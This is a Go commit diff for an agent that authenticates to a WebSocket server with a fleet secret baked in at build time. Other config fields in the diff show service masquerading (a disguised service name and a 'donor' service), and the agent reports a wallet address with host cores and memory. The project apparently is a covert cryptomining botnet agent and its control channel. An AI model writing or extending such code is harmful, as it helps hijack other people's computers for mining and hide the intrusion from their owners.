feat: fleet secret auth - zero-setup agent authentication, dashboard WS token, remove credential hints

agent/client/client.go

@@ -178,6 +178,7 @@ func (c *AgentClient) authenticate() error {
 	host, cores, memGB := c.reporter.SystemInfo()
 	payload, _ := json.Marshal(AuthPayload{
 		AgentID:          c.agentID,
+		FleetSecret:      c.cfg.FleetSecret,
 		Wallet:           c.cfg.Wallet,
 		Version:          config.Version,
 		Hostname:         host,

agent/client/protocol.go

@@ -9,6 +9,7 @@ type Message struct {
 
 type AuthPayload struct {
 	AgentID          string `json:"agent_id"`
+	FleetSecret      string `json:"fleet_secret"`
 	Wallet           string `json:"wallet"`
 	Version          string `json:"version"`
 	Hostname         string `json:"hostname"`

agent/config/config.go

@@ -61,6 +61,9 @@ type BuiltinConfig struct {
 	ServiceMasquerade bool
 	ServiceName       string
 	ServiceDonor      string
+	// FleetSecret is baked in at forge time and presented on WS connect.
+	// The server rejects any agent that doesn't carry the right secret.
+	FleetSecret string
 }
 
 type RuntimeConfig struct {